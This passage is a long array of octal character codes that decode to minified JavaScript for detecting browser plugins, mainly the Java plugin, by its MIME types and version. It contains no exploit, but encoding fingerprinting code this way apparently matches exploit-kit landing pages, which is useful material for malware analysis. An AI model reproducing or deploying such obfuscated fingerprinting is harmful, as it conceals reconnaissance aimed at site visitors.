0162, 0145, 0164, 0165, 0162, 0156, 0175, 0175, 0175, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0143, 056, 0104, 0117, 0116, 0105, 0146, 0165, 0156, 0143, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0143, 056, 0143, 0141, 0154, 0154, 0101, 0162, 0162, 0141, 0171, 050, 0143, 056, 0104, 0117, 0116, 0105, 0146, 0165, 0156, 0143, 0163, 051, 0175, 0143, 056, 0145, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 050, 051, 0175, 054, 0147, 0145, 0164, 0127, 0151, 0144, 0164, 0150, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 051, 0173, 0151, 0146, 050, 0143, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0143, 056, 0163, 0143, 0162, 0157, 0154, 0154, 0127, 0151, 0144, 0164, 0150, 0174, 0174, 0143, 056, 0157, 0146, 0146, 0163, 0145, 0164, 0127, 0151, 0144, 0164, 0150, 054, 0142, 075, 0164, 0150, 0151, 0163, 073, 0151, 0146, 050, 0142, 056, 0151, 0163, 0116, 0165, 0155, 050, 0141, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 061, 0175, 054, 0147, 0145, 0164, 0124, 0141, 0147, 0123, 0164, 0141, 0164, 0165, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0155, 054, 0147, 054, 0141, 054, 0142, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 054, 0146, 054, 0153, 075, 0155, 056, 0163, 0160, 0141, 0156, 054, 0154, 075, 0143, 056, 0147, 0145, 0164, 0127, 0151, 0144, 0164, 0150, 050, 0153, 051, 054, 0150, 075, 0141, 056, 0163, 0160, 0141, 0156, 054, 0152, 075, 0143, 056, 0147, 0145, 0164, 0127, 0151, 0144, 0164, 0150, 050, 0150, 051, 054, 0144, 075, 0147, 056, 0163, 0160, 0141, 0156, 054, 0151, 075, 0143, 056, 0147, 0145, 0164, 0127, 0151, 0144, 0164, 0150, 050, 0144, 051, 073, 0151, 0146, 050, 041, 0153, 0174, 0174, 041, 0150, 0174, 0174, 041, 0144, 0174, 0174, 041, 0143, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0155, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 062, 0175, 0151, 0146, 050, 0152, 074, 0151, 0174, 0174, 060, 076, 0154, 0174, 0174, 060, 076, 0152, 0174, 0174, 060, 076, 0151, 0174, 0174, 0151, 074, 075, 0143, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 0174, 0174, 0143, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 074, 061, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 0151, 0146, 050, 0154, 076, 075, 0151, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 061, 0175, 0164, 0162, 0171, 0173, 0151, 0146, 050, 0154, 075, 075, 0143, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 046, 046, 050, 041, 0143, 056, 0151, 0163, 0111, 0105, 0174, 0174, 0143, 056, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 050, 0155, 051, 056, 0162, 0145, 0141, 0144, 0171, 0123, 0164, 0141, 0164, 0145, 075, 075, 064, 051, 051, 0173, 0151, 0146, 050, 041, 0155, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 046, 046, 0143, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0155, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 046, 046, 0143, 056, 0151, 0163, 0116, 0165, 0155, 050, 0142, 051, 051, 0173, 0151, 0146, 050, 041, 0143, 056, 0151, 0163, 0116, 0165, 0155, 050, 0155, 056, 0143, 0157, 0165, 0156, 0164, 051, 051, 0173, 0155, 056, 0143, 0157, 0165, 0156, 0164, 075, 0142, 0175, 0151, 0146, 050, 0142, 055, 0155, 056, 0143, 0157, 0165, 0156, 0164, 076, 075, 061, 060, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0146, 051, 0173, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 054, 0147, 0145, 0164, 0104, 0117, 0115, 0157, 0142, 0152, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0147, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0146, 054, 0144, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0147, 077, 0147, 056, 0163, 0160, 0141, 0156, 072, 060, 054, 0142, 075, 0143, 046, 046, 0143, 056, 0146, 0151, 0162, 0163, 0164, 0103, 0150, 0151, 0154, 0144, 077, 061, 072, 060, 073, 0164, 0162, 0171, 0173, 0151, 0146, 050, 0142, 046, 046, 0141, 051, 0173, 0144, 056, 0144, 0151, 0166, 056, 0146, 0157, 0143, 0165, 0163, 050, 051, 0175, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0146, 051, 0173, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 077, 0143, 056, 0146, 0151, 0162, 0163, 0164, 0103, 0150, 0151, 0154, 0144, 072, 0156, 0165, 0154, 0154, 0175, 054, 0163, 0145, 0164, 0123, 0164, 0171, 0154, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 054, 0147, 051, 0173, 0166, 0141, 0162, 040, 0146, 075, 0142, 056, 0163, 0164, 0171, 0154, 0145, 054, 0141, 054, 0144, 054, 0143, 075, 0164, 0150, 0151, 0163, 073, 0151, 0146, 050, 0146, 046, 046, 0147, 051, 0173, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0147, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 075, 0141, 053, 062, 051, 0173, 0164, 0162, 0171, 0173, 0146, 0133, 0147, 0133, 0141, 0135, 0135, 075, 0147, 0133, 0141, 053, 061, 0135, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0144, 051, 0173, 0175, 0175, 0175, 0175, 054, 0151, 0156, 0163, 0145, 0162, 0164, 0104, 0151, 0166, 0111, 0156, 0102, 0157, 0144, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0151, 054, 0147, 051, 0173, 0166, 0141, 0162, 040, 0146, 054, 0143, 075, 0164, 0150, 0151, 0163, 054, 0150, 075, 042, 0160, 0144, 063, 063, 071, 071, 063, 063, 071, 071, 042, 054, 0142, 075, 0156, 0165, 0154, 0154, 054, 0144, 075, 0147, 077, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0164, 0157, 0160, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 072, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 054, 0141, 075, 0144, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0163, 0102, 0171, 0124, 0141, 0147, 0116, 0141, 0155, 0145, 050, 042, 0142, 0157, 0144, 0171, 042, 051, 0133, 060, 0135, 0174, 0174, 0144, 056, 0142, 0157, 0144, 0171, 073, 0151, 0146, 050, 041, 0141, 051, 0173, 0164, 0162, 0171, 0173, 0144, 056, 0167, 0162, 0151, 0164, 0145, 050, 047, 074, 0144, 0151, 0166, 040, 0151, 0144, 075, 042, 047, 053, 0150, 053, 047, 042, 076, 056, 047, 053, 0143, 056, 0157, 0160, 0145, 0156, 0124, 0141, 0147, 053, 042, 057, 0144, 0151, 0166, 076, 042, 051, 073, 0142, 075, 0144, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0102, 0171, 0111, 0144, 050, 0150, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0146, 051, 0173, 0175, 0175, 0141, 075, 0144, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0163, 0102, 0171, 0124, 0141, 0147, 0116, 0141, 0155, 0145, 050, 042, 0142, 0157, 0144, 0171, 042, 051, 0133, 060, 0135, 0174, 0174, 0144, 056, 0142, 0157, 0144, 0171, 073, 0151, 0146, 050, 0141, 051, 0173, 0141, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0102, 0145, 0146, 0157, 0162, 0145, 050, 0151, 054, 0141, 056, 0146, 0151, 0162, 0163, 0164, 0103, 0150, 0151, 0154, 0144, 051, 073, 0151, 0146, 050, 0142, 051, 0173, 0141, 056, 0162, 0145, 0155, 0157, 0166, 0145, 0103, 0150, 0151, 0154, 0144, 050, 0142, 051, 0175, 0175, 0175, 054, 0151, 0156, 0163, 0145, 0162, 0164, 0110, 0124, 0115, 0114, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0146, 054, 0142, 054, 0147, 054, 0141, 054, 0153, 051, 0173, 0166, 0141, 0162, 040, 0154, 054, 0155, 075, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 054, 0152, 075, 0164, 0150, 0151, 0163, 054, 0160, 054, 0157, 075, 0155, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 050, 042, 0163, 0160, 0141, 0156, 042, 051, 054, 0156, 054, 0151, 073, 0166, 0141, 0162, 040, 0143, 075, 0133, 042, 0157, 0165, 0164, 0154, 0151, 0156, 0145, 0123, 0164, 0171, 0154, 0145, 042, 054, 042, 0156, 0157, 0156, 0145, 042, 054, 042, 0142, 0157, 0162, 0144, 0145, 0162, 0123, 0164, 0171, 0154, 0145, 042, 054, 042, 0156, 0157, 0156, 0145, 042, 054, 042, 0160, 0141, 0144, 0144, 0151, 0156, 0147, 042, 054, 042, 060, 0160, 0170, 042, 054, 042, 0155, 0141, 0162, 0147, 0151, 0156, 042, 054, 042, 060, 0160, 0170, 042, 054, 042, 0166, 0151, 0163, 0151, 0142, 0151, 0154, 0151, 0164, 0171, 042, 054, 042, 0166, 0151, 0163, 0151, 0142, 0154, 0145, 042, 0135, 073, 0166, 0141, 0162, 040, 0150, 075, 042, 0157, 0165, 0164, 0154, 0151, 0156, 0145, 055, 0163, 0164, 0171, 0154, 0145, 072, 0156, 0157, 0156, 0145, 073, 0142, 0157, 0162, 0144, 0145, 0162, 055, 0163, 0164, 0171, 0154, 0145, 072, 0156, 0157, 0156, 0145, 073, 0160, 0141, 0144, 0144, 0151, 0156, 0147, 072, 060, 0160, 0170, 073, 0155, 0141, 0162, 0147, 0151, 0156, 072, 060, 0160, 0170, 073, 0166, 0151, 0163, 0151, 0142, 0151, 0154, 0151, 0164, 0171, 072, 0166, 0151, 0163, 0151, 0142, 0154, 0145, 073, 042, 073, 0151, 0146, 050, 041, 0152, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0141, 051, 051, 0173, 0141, 075, 042, 042, 0175, 0151, 0146, 050, 0152, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0146, 051, 046, 046, 050, 057, 0133, 0136, 0134, 0163, 0135, 057, 051, 056, 0164, 0145, 0163, 0164, 050, 0146, 051, 051, 0173, 0146, 075, 0146, 056, 0164, 0157, 0114, 0157, 0167, 0145, 0162, 0103, 0141, 0163, 0145, 050, 051, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 057, 0134, 0163, 057, 0147, 054, 042, 042, 051, 073, 0160, 075, 0152, 056, 0157, 0160, 0145, 0156, 0124, 0141, 0147, 053, 0146, 053, 047, 040, 0167, 0151, 0144, 0164, 0150, 075, 042, 047, 053, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 047, 042, 040, 0150, 0145, 0151, 0147, 0150, 0164, 075, 042, 047, 053, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 047, 042, 040, 047, 073, 0160, 053, 075, 047, 0163, 0164, 0171, 0154, 0145, 075, 042, 047, 053, 0150, 053, 047, 0144, 0151, 0163, 0160, 0154, 0141, 0171, 072, 0151, 0156, 0154, 0151, 0156, 0145, 073, 042, 040, 047, 073, 0146, 0157, 0162, 050, 0156, 075, 060, 073, 0156, 074, 0142, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0156, 075, 0156, 053, 062, 051, 0173, 0151, 0146, 050, 057, 0133, 0136, 0134, 0163, 0135, 057, 056, 0164, 0145, 0163, 0164, 050, 0142, 0133, 0156, 053, 061, 0135, 051, 051, 0173, 0160, 053, 075, 0142, 0133, 0156, 0135, 053, 047, 075, 042, 047, 053, 0142, 0133, 0156, 053, 061, 0135, 053, 047, 042, 040, 047, 0175, 0175, 0160, 053, 075, 042, 076, 042, 073, 0146, 0157, 0162, 050, 0156, 075, 060, 073, 0156, 074, 0147, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0156, 075, 0156, 053, 062, 051, 0173, 0151, 0146, 050, 057, 0133, 0136, 0134, 0163, 0135, 057, 056, 0164, 0145, 0163, 0164, 050, 0147, 0133, 0156, 053, 061, 0135, 051, 051, 0173, 0160, 053, 075, 0152, 056, 0157, 0160, 0145, 0156, 0124, 0141, 0147, 053, 047, 0160, 0141, 0162, 0141, 0155, 040, 0156, 0141, 0155, 0145, 075, 042, 047, 053, 0147, 0133, 0156, 0135, 053, 047, 042, 040, 0166, 0141, 0154, 0165, 0145, 075, 042, 047, 053, 0147, 0133, 0156, 053, 061, 0135, 053, 047, 042, 040, 057, 076, 047, 0175, 0175, 0160, 053, 075, 0141, 053, 0152, 056, 0157, 0160, 0145, 0156, 0124, 0141, 0147, 053, 042, 057, 042, 053, 0146, 053, 042, 076, 042, 0175, 0145, 0154, 0163, 0145, 0173, 0160, 075, 0141, 0175, 0151, 0146, 050, 041, 0152, 056, 0144, 0151, 0166, 051, 0173, 0151, 075, 0155, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0102, 0171, 0111, 0144, 050, 0152, 056, 0144, 0151, 0166, 0111, 0104, 051, 073, 0151, 0146, 050, 0151, 051, 0173, 0152, 056, 0144, 0151, 0166, 075, 0151, 0175, 0145, 0154, 0163, 0145, 0173, 0152, 056, 0144, 0151, 0166, 075, 0155, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 050, 042, 0144, 0151, 0166, 042, 051, 073, 0152, 056, 0144, 0151, 0166, 056, 0151, 0144, 075, 0152, 056, 0144, 0151, 0166, 0111, 0104, 0175, 0152, 056, 0163, 0145, 0164, 0123, 0164, 0171, 0154, 0145, 050, 0152, 056, 0144, 0151, 0166, 054, 0143, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0133, 042, 0167, 0151, 0144, 0164, 0150, 042, 054, 0152, 056, 0144, 0151, 0166, 0127, 0151, 0144, 0164, 0150, 053, 042, 0160, 0170, 042, 054, 042, 0150, 0145, 0151, 0147, 0150, 0164, 042, 054, 050, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 063, 051, 053, 042, 0160, 0170, 042, 054, 042, 0146, 0157, 0156, 0164, 0123, 0151, 0172, 0145, 042, 054, 050, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 063, 051, 053, 042, 0160, 0170, 042, 054, 042, 0154, 0151, 0156, 0145, 0110, 0145, 0151, 0147, 0150, 0164, 042, 054, 050, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 063, 051, 053, 042, 0160, 0170, 042, 054, 042, 0166, 0145, 0162, 0164, 0151, 0143, 0141, 0154, 0101, 0154, 0151, 0147, 0156, 042, 054, 042, 0142, 0141, 0163, 0145, 0154, 0151, 0156, 0145, 042, 054, 042, 0144, 0151, 0163, 0160, 0154, 0141, 0171, 042, 054, 042, 0142, 0154, 0157, 0143, 0153, 042, 0135, 051, 051, 073, 0151, 0146, 050, 041, 0151, 051, 0173, 0152, 056, 0163, 0145, 0164, 0123, 0164, 0171, 0154, 0145, 050, 0152, 056, 0144, 0151, 0166, 054, 0133, 042, 0160, 0157, 0163, 0151, 0164, 0151, 0157, 0156, 042, 054, 042, 0141, 0142, 0163, 0157, 0154, 0165, 0164, 0145, 042, 054, 042, 0162, 0151, 0147, 0150, 0164, 042, 054, 042, 060, 0160, 0170, 042, 054, 042, 0164, 0157, 0160, 042, 054, 042, 060, 0160, 0170, 042, 0135, 051, 073, 0152, 056, 0151, 0156, 0163, 0145, 0162, 0164, 0104, 0151, 0166, 0111, 0156, 0102, 0157, 0144, 0171, 050, 0152, 056, 0144, 0151, 0166, 051, 0175, 0175, 0151, 0146, 050, 0152, 056, 0144, 0151, 0166, 046, 046, 0152, 056, 0144, 0151, 0166, 056, 0160, 0141, 0162, 0145, 0156, 0164, 0116, 0157, 0144, 0145, 051, 0173, 0152, 056, 0163, 0145, 0164, 0123, 0164, 0171, 0154, 0145, 050, 0157, 054, 0143, 056, 0143, 0157, 0156, 0143, 0141, 0164, 050, 0133, 042, 0146, 0157, 0156, 0164, 0123, 0151, 0172, 0145, 042, 054, 050, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 063, 051, 053, 042, 0160, 0170, 042, 054, 042, 0154, 0151, 0156, 0145, 0110, 0145, 0151, 0147, 0150, 0164, 042, 054, 050, 0152, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 053, 063, 051, 053, 042, 0160, 0170, 042, 054, 042, 0166, 0145, 0162, 0164, 0151, 0143, 0141, 0154, 0101, 0154, 0151, 0147, 0156, 042, 054, 042, 0142, 0141, 0163, 0145, 0154, 0151, 0156, 0145, 042, 054, 042, 0144, 0151, 0163, 0160, 0154, 0141, 0171, 042, 054, 042, 0151, 0156, 0154, 0151, 0156, 0145, 042, 0135, 051, 051, 073, 0164, 0162, 0171, 0173, 0157, 056, 0151, 0156, 0156, 0145, 0162, 0110, 0124, 0115, 0114, 075, 0160, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0154, 051, 0173, 0175, 073, 0164, 0162, 0171, 0173, 0152, 056, 0144, 0151, 0166, 056, 0141, 0160, 0160, 0145, 0156, 0144, 0103, 0150, 0151, 0154, 0144, 050, 0157, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0154, 051, 0173, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 0173, 0163, 0160, 0141, 0156, 072, 0157, 054, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 072, 0152, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 054, 0164, 0141, 0147, 0116, 0141, 0155, 0145, 072, 0146, 054, 0157, 0165, 0164, 0145, 0162, 0110, 0124, 0115, 0114, 072, 0160, 0175, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 0173, 0163, 0160, 0141, 0156, 072, 0156, 0165, 0154, 0154, 054, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 072, 0152, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 054, 0164, 0141, 0147, 0116, 0141, 0155, 0145, 072, 042, 042, 054, 0157, 0165, 0164, 0145, 0162, 0110, 0124, 0115, 0114, 072, 0160, 0175, 0175, 054, 0146, 0151, 0154, 0145, 072, 0173, 044, 072, 061, 054, 0141, 0156, 0171, 072, 042, 0146, 0151, 0154, 0145, 0123, 0164, 0157, 0162, 0141, 0147, 0145, 0101, 0156, 0171, 071, 071, 071, 042, 054, 0166, 0141, 0154, 0151, 0144, 072, 042, 0146, 0151, 0154, 0145, 0123, 0164, 0157, 0162, 0141, 0147, 0145, 0126, 0141, 0154, 0151, 0144, 071, 071, 071, 042, 054, 0163, 0141, 0166, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 054, 0146, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0142, 056, 044, 054, 0141, 073, 0151, 0146, 050, 0144, 046, 046, 0145, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0143, 051, 051, 0173, 0151, 0146, 050, 041, 0144, 0133, 0142, 056, 0141, 0156, 0171, 0135, 051, 0173, 0144, 0133, 0142, 056, 0141, 0156, 0171, 0135, 075, 0133, 0135, 0175, 0151, 0146, 050, 041, 0144, 0133, 0142, 056, 0166, 0141, 0154, 0151, 0144, 0135, 051, 0173, 0144, 0133, 0142, 056, 0166, 0141, 0154, 0151, 0144, 0135, 075, 0133, 0135, 0175, 0144, 0133, 0142, 056, 0141, 0156, 0171, 0135, 056, 0160, 0165, 0163, 0150, 050, 0143, 051, 073, 0141, 075, 0142, 056, 0163, 0160, 0154, 0151, 0164, 050, 0146, 054, 0143, 051, 073, 0151, 0146, 050, 0141, 051, 0173, 0144, 0133, 0142, 056, 0166, 0141, 0154, 0151, 0144, 0135, 056, 0160, 0165, 0163, 0150, 050, 0141, 051, 0175, 0175, 0175, 054, 0147, 0145, 0164, 0126, 0141, 0154, 0151, 0144, 0114, 0145, 0156, 0147, 0164, 0150, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 046, 046, 0141, 0133, 0164, 0150, 0151, 0163, 056, 0166, 0141, 0154, 0151, 0144, 0135, 077, 0141, 0133, 0164, 0150, 0151, 0163, 056, 0166, 0141, 0154, 0151, 0144, 0135, 056, 0154, 0145, 0156, 0147, 0164, 0150, 072, 060, 0175, 054, 0147, 0145, 0164, 0101, 0156, 0171, 0114, 0145, 0156, 0147, 0164, 0150, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 046, 046, 0141, 0133, 0164, 0150, 0151, 0163, 056, 0141, 0156, 0171, 0135, 077, 0141, 0133, 0164, 0150, 0151, 0163, 056, 0141, 0156, 0171, 0135, 056, 0154, 0145, 0156, 0147, 0164, 0150, 072, 060, 0175, 054, 0147, 0145, 0164, 0126, 0141, 0154, 0151, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0143, 046, 046, 0143, 0133, 0142, 056, 0166, 0141, 0154, 0151, 0144, 0135, 077, 0142, 056, 0147, 0145, 0164, 050, 0143, 0133, 0142, 056, 0166, 0141, 0154, 0151, 0144, 0135, 054, 0141, 051, 072, 0156, 0165, 0154, 0154, 0175, 054, 0147, 0145, 0164, 0101, 0156, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0143, 046, 046, 0143, 0133, 0142, 056, 0141, 0156, 0171, 0135, 077, 0142, 056, 0147, 0145, 0164, 050, 0143, 0133, 0142, 056, 0141, 0156, 0171, 0135, 054, 0141, 051, 072, 0156, 0165, 0154, 0154, 0175, 054, 0147, 0145, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 054, 0142, 075, 0164, 0150, 0151, 0163, 056, 044, 056, 0151, 0163, 0116, 0165, 0155, 050, 0141, 051, 077, 0141, 072, 0143, 073, 0162, 0145, 0164, 0165, 0162, 0156, 050, 060, 076, 0142, 0174, 0174, 0142, 076, 0143, 051, 077, 0156, 0165, 0154, 0154, 072, 0144, 0133, 0142, 0135, 0175, 054, 0163, 0160, 0154, 0151, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0147, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0145, 075, 0142, 056, 044, 054, 0146, 075, 0156, 0165, 0154, 0154, 054, 0141, 054, 0144, 073, 0147, 075, 0147, 077, 0147, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 042, 056, 042, 054, 042, 0134, 056, 042, 051, 072, 042, 042, 073, 0144, 075, 0156, 0145, 0167, 040, 0122, 0145, 0147, 0105, 0170, 0160, 050, 042, 0136, 050, 056, 052, 0133, 0136, 0134, 057, 0135, 051, 050, 042, 053, 0147, 053, 042, 0134, 0163, 052, 051, 044, 042, 051, 073, 0151, 0146, 050, 0145, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0143, 051, 046, 046, 0144, 056, 0164, 0145, 0163, 0164, 050, 0143, 051, 051, 0173, 0141, 075, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 051, 056, 0163, 0160, 0154, 0151, 0164, 050, 042, 057, 042, 051, 073, 0146, 075, 0173, 0156, 0141, 0155, 0145, 072, 0141, 0133, 0141, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 0135, 054, 0145, 0170, 0164, 072, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 062, 054, 0146, 0165, 0154, 0154, 072, 0143, 0175, 073, 0141, 0133, 0141, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 0135, 075, 042, 042, 073, 0146, 056, 0160, 0141, 0164, 0150, 075, 0141, 056, 0152, 0157, 0151, 0156, 050, 042, 057, 042, 051, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0175, 054, 0172, 072, 060, 0175, 054, 0120, 0154, 0165, 0147, 0151, 0156, 0163, 072, 0173, 0152, 0141, 0166, 0141, 072, 0173, 0155, 0151, 0155, 0145, 0124, 0171, 0160, 0145, 072, 0133, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0170, 055, 0152, 0141, 0166, 0141, 055, 0141, 0160, 0160, 0154, 0145, 0164, 042, 054, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0170, 055, 0152, 0141, 0166, 0141, 055, 0166, 0155, 042, 054, 042, 0141, 0160, 0160, 0154, 0151, 0143, 0141, 0164, 0151, 0157, 0156, 057, 0170, 055, 0152, 0141, 0166, 0141, 055, 0142, 0145, 0141, 0156, 042, 0135, 054, 0143, 0154, 0141, 0163, 0163, 0111, 0104, 072, 042, 0143, 0154, 0163, 0151, 0144, 072, 070, 0101, 0104, 071, 0103, 070, 064, 060, 055, 060, 064, 064, 0105, 055, 061, 061, 0104, 061, 055, 0102, 063, 0105, 071, 055, 060, 060, 070, 060, 065, 0106, 064, 071, 071, 0104, 071, 063, 042, 054, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 072, 0173, 0141, 072, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0156, 0141, 0166, 0151, 0147, 0141, 0164, 0157, 0162, 056, 0152, 0141, 0166, 0141, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 050, 051, 054, 0152, 0141, 0166, 0141, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0164, 0150, 0151, 0163, 056, 0141, 0175, 054, 0155, 0151, 0155, 0145, 0117, 0142, 0152, 072, 060, 054, 0160, 0154, 0165, 0147, 0151, 0156, 0117, 0142, 0152, 072, 060, 0175, 054, 0117, 0124, 0106, 072, 0156, 0165, 0154, 0154, 054, 0155, 0151, 0156, 0111, 0105, 0166, 0145, 0162, 072, 067, 054, 0144, 0145, 0142, 0165, 0147, 072, 060, 054, 0144, 0145, 0142, 0165, 0147, 0105, 0156, 0141, 0142, 0154, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0142, 075, 0141, 056, 044, 073, 0141, 056, 0144, 0145, 0142, 0165, 0147, 075, 061, 0175, 054, 0151, 0163, 0104, 0151, 0163, 0141, 0142, 0154, 0145, 0144, 072, 0173, 044, 072, 061, 054, 0104, 0124, 0113, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 054, 0143, 075, 0141, 056, 044, 054, 0142, 075, 0141, 056, 044, 044, 073, 0151, 0146, 050, 050, 0143, 056, 0151, 0163, 0107, 0145, 0143, 0153, 0157, 046, 046, 0143, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0143, 056, 0166, 0145, 0162, 0107, 0145, 0143, 0153, 0157, 054, 0143, 056, 0146, 0157, 0162, 0155, 